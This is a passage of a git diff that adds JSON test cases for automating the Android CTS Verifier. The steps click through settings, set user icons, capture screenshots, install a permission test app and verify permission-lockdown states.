button\",\"actionId\":\"7675aa09-f5c4-443d-9d4b-734f0a947128\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_default_message\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,set_message button\",\"actionId\":\"e24fcb3a-3b1b-4ddb-8ada-4201f381dd5d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/set_message\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ecf3aa8f-0328-4be8-aab3-b551ddc6bb6b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"8ff4933a-eab3-4686-96e1-e1ef26ee295f\",\"7675aa09-f5c4-443d-9d4b-734f0a947128\",\"e24fcb3a-3b1b-4ddb-8ada-4201f381dd5d\",\"ecf3aa8f-0328-4be8-aab3-b551ddc6bb6b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set long support message","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.117000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1a32271-9bb8-464b-89ee-8eb121c9d8dd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1a32271-9bb8-464b-89ee-8eb121c9d8dd
new file mode 100644
index 0000000..bf14998
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d1a32271-9bb8-464b-89ee-8eb121c9d8dd
@@ -0,0 +1 @@
+{"uuid":"d1a32271-9bb8-464b-89ee-8eb121c9d8dd","details":"{\"type\":\"CompoundAction\",\"name\":\"13-Setting the user icon(Check image)\",\"actionId\":\"d1a32271-9bb8-464b-89ee-8eb121c9d8dd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Setting the user icon\",\"actionId\":\"6e5c00d4-9d10-4468-b5a4-fdbd31c0167c\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Setting the user icon\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e3cad612-fe56-4882-a8d0-8017d8b8a9db\",\"displayText\":\"Setting the user icon\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Setting the user icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":447.0,\"x2\":350.6666666666667,\"y2\":491.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":470.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"e3cad612-fe56-4882-a8d0-8017d8b8a9db\",\"firstText\":\"Setting the user icon\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Setting the user icon\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":455.0,\"x2\":160.0,\"y2\":485.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Setting the user icon\",\"actionId\":\"ef890741-c43e-4bd7-84f2-42d65fd2f0b8\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Setting the user icon\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set user icon 1\",\"actionId\":\"074a502b-e7a9-416e-add9-ae9899e323c2\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set user icon 1\"},{\"type\":\"ScreenCapAction\",\"name\":\"Make sure the icon of User set to 1\",\"actionId\":\"241bf6cd-f3bf-425b-a812-de55943b1133\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow set user icon\",\"actionId\":\"9b113e37-d001-4796-becf-141bca700eb8\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow set user icon\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set user icon 2\",\"actionId\":\"4862aab7-3e07-4260-ac59-cfd8b44d4be0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set user icon 2\"},{\"type\":\"ScreenCapAction\",\"name\":\"Make sure the icon of users set to 2\",\"actionId\":\"324ae2d1-78c6-49a3-8a2c-79df5e379934\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, You (Owner)\",\"actionId\":\"f3785f52-60ff-4bae-9c47-3f4277922a00\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"You (Owner)\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/user_photo\",\"actionId\":\"1e59e30f-85ac-4daf-b9f4-623d5f239149\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/user_photo\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Take a photo\",\"actionId\":\"6a4283ef-e5ff-4752-b953-be92d8508664\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Take a photo\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ed433b99-96c3-4e6b-ba73-4fec739edcdd\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/user_photo\",\"actionId\":\"5b800199-1f10-46e5-b995-26ee075cc79d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/user_photo\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Choose an image\",\"actionId\":\"22e71fd0-3635-45df-9e60-a11bd72d0dd1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Choose an image\"}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"6e5c00d4-9d10-4468-b5a4-fdbd31c0167c\",\"ef890741-c43e-4bd7-84f2-42d65fd2f0b8\",\"074a502b-e7a9-416e-add9-ae9899e323c2\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"64db6b9d-caaa-442f-840a-80ef16030e55\",\"241bf6cd-f3bf-425b-a812-de55943b1133\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"9b113e37-d001-4796-becf-141bca700eb8\",\"4862aab7-3e07-4260-ac59-cfd8b44d4be0\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"324ae2d1-78c6-49a3-8a2c-79df5e379934\",\"f3785f52-60ff-4bae-9c47-3f4277922a00\",\"1e59e30f-85ac-4daf-b9f4-623d5f239149\",\"6a4283ef-e5ff-4752-b953-be92d8508664\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"ed433b99-96c3-4e6b-ba73-4fec739edcdd\",\"5b800199-1f10-46e5-b995-26ee075cc79d\",\"22e71fd0-3635-45df-9e60-a11bd72d0dd1\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"370c511c-5950-4b3a-b832-60f2a606a27a\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"13-Setting the user icon(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.108000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d2619d97-b114-47f1-bade-ff3e0e4d37f7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d2619d97-b114-47f1-bade-ff3e0e4d37f7
new file mode 100644
index 0000000..5fd6a47
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d2619d97-b114-47f1-bade-ff3e0e4d37f7
@@ -0,0 +1 @@
+{"uuid":"d2619d97-b114-47f1-bade-ff3e0e4d37f7","details":"{\"type\":\"CompoundAction\",\"name\":\"Start Permissions lockdown test\",\"actionId\":\"d2619d97-b114-47f1-bade-ff3e0e4d37f7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Install permission app \",\"actionId\":\"9487fcb4-c17b-42be-97f2-2dc1a6c185b9\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"install -r -t $uicd_permissionapp_apk_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Permissions lockdown\",\"actionId\":\"62227202-9881-4935-80ab-4292e02bcca0\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Permissions lockdown\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0052d9f2-01ed-4517-9209-7407cbd0f18c\",\"displayText\":\"Permissions lockdown\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Permissions lockdown\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":465.0,\"x2\":350.6666666666667,\"y2\":509.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":98.5,\"y\":491.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":81.5,\"y\":-4.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"0052d9f2-01ed-4517-9209-7407cbd0f18c\",\"firstText\":\"Permissions lockdown\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Permissions lockdown\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":474.0,\"x2\":192.0,\"y2\":508.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Permissions lockdown\",\"actionId\":\"c0d22eec-11d5-4ecf-847b-f4f18138b316\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Permissions lockdown\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, select \\\"Grant\\\"\",\"actionId\":\"7854c052-4761-4332-8ada-429466f7d506\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/permission_allow\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Allow is selected and can't be changed.\",\"actionId\":\"d0517510-51ab-49ac-abcc-e612b4487f7f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Allow\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Click the information icon of Deny item\",\"actionId\":\"87fc6fc3-f006-4e95-92c3-179a3e08a5c2\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Enabled by admin\\\").right().resource_id(\\\"com.android.permissioncontroller:id/widget_frame\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, select \\\"Let user decide\\\"\",\"actionId\":\"e204a952-f4ed-4df0-a3b4-efb3ebe26aa3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/permission_default\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Make sure Allow is enabled and can be select.\",\"actionId\":\"e63b4673-3bbf-495a-96a5-46c1d62ab4ba\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Allow\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Deny is enabled and can be selected\",\"actionId\":\"ffb99b6e-b0e1-44ec-8a19-ea77b8a821a1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Deny\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action,select \\\"Deny\\\"\",\"actionId\":\"7470dc8b-dd1b-40cb-bf8d-7b2eb2640197\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/permission_deny\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Deny is selected and can't be changed\",\"actionId\":\"bf16488b-de68-4eff-9961-5950b2aed87a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Deny\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Click the information icon of Deny item\",\"actionId\":\"eb5f9855-19ae-41b9-908f-9e48d3edff9e\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Disabled by admin\\\").right().resource_id(\\\"com.android.permissioncontroller:id/widget_frame\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"9487fcb4-c17b-42be-97f2-2dc1a6c185b9\",\"62227202-9881-4935-80ab-4292e02bcca0\",\"c0d22eec-11d5-4ecf-847b-f4f18138b316\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"7854c052-4761-4332-8ada-429466f7d506\",\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\",\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\",\"d0517510-51ab-49ac-abcc-e612b4487f7f\",\"87fc6fc3-f006-4e95-92c3-179a3e08a5c2\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"e204a952-f4ed-4df0-a3b4-efb3ebe26aa3\",\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\",\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\",\"e63b4673-3bbf-495a-96a5-46c1d62ab4ba\",\"ffb99b6e-b0e1-44ec-8a19-ea77b8a821a1\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"7470dc8b-dd1b-40cb-bf8d-7b2eb2640197\",\"f94a4fd0-90ed-46b2-bd68-e769b2b4175c\",\"e272f61e-5e1a-434d-ab44-5ae9abf260fc\",\"bf16488b-de68-4eff-9961-5950b2aed87a\",\"eb5f9855-19ae-41b9-908f-9e48d3edff9e\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_permissionapp_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsPermissionApp.apk\"}}","name":"Start Permissions lockdown test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.111000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3400679-ef71-4a3e-a0a9-98cb51c83da6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3400679-ef71-4a3e-a0a9-98cb51c83da6
new file mode 100644
index 0000000..8a8587f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3400679-ef71-4a3e-a0a9-98cb51c83da6
@@ -0,0 +1 @@
+{"uuid":"d3400679-ef71-4a3e-a0a9-98cb51c83da6","details":"{\"type\":\"CompoundAction\",\"name\":\"Click settings of connected WiFi\",\"actionId\":\"d3400679-ef71-4a3e-a0a9-98cb51c83da6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, connect WiFI settings\",\"actionId\":\"9300464d-0fbf-414b-9265-1096f6f17a59\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/settings_button_no_background\"}],\"childrenIdList\":[\"9300464d-0fbf-414b-9265-1096f6f17a59\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click settings of connected WiFi","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.088000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d342c4dd-f898-4df1-aa92-cf6ac97d772a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d342c4dd-f898-4df1-aa92-cf6ac97d772a
new file mode 100644
index 0000000..2bea4f2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d342c4dd-f898-4df1-aa92-cf6ac97d772a
@@ -0,0 +1 @@
+{"uuid":"d342c4dd-f898-4df1-aa92-cf6ac97d772a","details":"{\"type\":\"CompoundAction\",\"name\":\"12_Profile-aware printing settings(Check image)\",\"actionId\":\"d342c4dd-f898-4df1-aa92-cf6ac97d772a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Profile-aware printing settings\",\"actionId\":\"7a924fea-ab0d-4078-89b6-5118db245ccb\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Profile-aware printing settings\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"9a11233a-60d2-4422-8515-ed62fef9d945\",\"displayText\":\"Profile-aware printing settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Profile-aware printing settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":654.3333333333334,\"x2\":360.0,\"y2\":698.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":109.5,\"y\":678.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":70.5,\"y\":-1.6666666666666288,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"9a11233a-60d2-4422-8515-ed62fef9d945\",\"firstText\":\"Profile-aware printing settings\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Profile-aware printing settings\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":219.0,\"y1\":695.0,\"x2\":0.0,\"y2\":661.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Profile-aware printing settings\",\"actionId\":\"8fc5c4fd-8001-47e9-9af6-e22fe629c25c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Profile-aware printing settings\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Personal\",\"actionId\":\"78176265-99ce-40f7-aaa2-e1bc6d2ad6bf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Personal\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work\",\"actionId\":\"f229fed4-e730-4874-871d-e39f292c06d7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work\"},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"89bccc44-b5da-46f7-88b5-b12e65ce6c59\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"6a72a181-38f8-4be6-8ea7-89c93e88aa4c\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"7a924fea-ab0d-4078-89b6-5118db245ccb\",\"8fc5c4fd-8001-47e9-9af6-e22fe629c25c\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"78176265-99ce-40f7-aaa2-e1bc6d2ad6bf\",\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"f229fed4-e730-4874-871d-e39f292c06d7\",\"89bccc44-b5da-46f7-88b5-b12e65ce6c59\",\"6a72a181-38f8-4be6-8ea7-89c93e88aa4c\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"12_Profile-aware printing settings(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.305000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3450ee9-4ee0-4753-bb29-15c5b3906285 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3450ee9-4ee0-4753-bb29-15c5b3906285
new file mode 100644
index 0000000..6c7e176
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3450ee9-4ee0-4753-bb29-15c5b3906285
@@ -0,0 +1 @@
+{"uuid":"d3450ee9-4ee0-4753-bb29-15c5b3906285","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Auto-rotate on\",\"actionId\":\"d3450ee9-4ee0-4753-bb29-15c5b3906285\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Auto-rotate on\",\"actionId\":\"35a60d30-7678-44fe-af81-306d28d3d5b7\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put system accelerometer_rotation 